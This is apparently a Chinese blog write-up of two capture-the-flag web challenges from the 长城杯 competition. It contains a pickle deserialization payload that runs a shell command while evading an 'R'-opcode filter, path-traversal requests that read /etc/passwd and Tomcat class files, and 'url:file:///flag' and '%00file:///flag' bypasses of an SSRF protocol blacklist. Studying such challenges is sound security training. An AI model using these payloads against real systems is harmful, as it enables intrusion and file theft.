长城杯

ez_python

打开首页,看看源代码。

img

这里猜测就是可以读取源码,先读/self/proc/cmd可以发现源码时app.py,读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
def __init__(self,name,age):
self.name = name
self.age = age

def check(s):
if b'R' in s:
return 0
return 1


@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))

try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()

return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
app.run('0.0.0.0',port=8888)

一看就是pickle,ban了R操作符,用o就行了

1
2
3
4
(S'whoami'
ios
system
.'''

java_url

首页源代码中有一条注释,猜测可以目录穿越读文件。

img

filename=../确定存在文件包含漏洞,download?filename=../../../../../../../../../etc/passwd可读,并且泄露tomcat的绝对路径/usr/local/tomcat/webapps/ROOT/WEB-INF/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>testurl</servlet-name>
<servlet-class>com.test2.aaa1.testURL</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>testurl</servlet-name>
<url-pattern>/testURL</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.test2.aaa1.download</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
</web-app>

java支持协议:

  • file
  • http
  • https
  • ftp
  • netdoc
  • gopher

读文件

1
2
3
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class

filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/download.class

testURL.class中可以通过/testURL?url=url:file:///flag或者/testURL?url=%00file:///flag来进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.test2.aaa1;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class download extends HttpServlet {
private static final long serialVersionUID = 1L;

public download() {
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String fileName = request.getParameter("filename");
if (fileName.contains("environ")) {
response.getWriter().write("false");
} else {
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", "no no no ");
request.getRequestDispatcher("/message2.jsp").forward(request, response);
} else {
String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
File file = new File(path + "/" + fileName);
if (!file.exists()) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message2.jsp").forward(request, response);
} else {
String realname = fileName.substring(fileName.indexOf("_") + 1);
response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
FileInputStream in = new FileInputStream(path + "/" + fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
boolean var11 = false;

int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}

in.close();
out.close();
}
}
}

}

public String findFileSavePathByFileName(String filename, String saveRootPath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = saveRootPath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}

return dir;
}
}

testURL.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.test2.aaa1;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class testURL extends HttpServlet {
public testURL() {
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String tartget_url = req.getParameter("url");
String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
} else {
resp.getWriter().write(String.valueOf(this.getContent(tartget_url)));
}

}

public StringBuilder getContent(String url) throws IOException {
URL urL = new URL(url);
URLConnection con = urL.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
StringBuilder content = new StringBuilder();

String inputLine;
while((inputLine = in.readLine()) != null) {
content.append(inputLine);
content.append("n");
}

return content;
}
}

payload:

1
2
3
url=url:file:///flag

url=%00file:///flag

在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!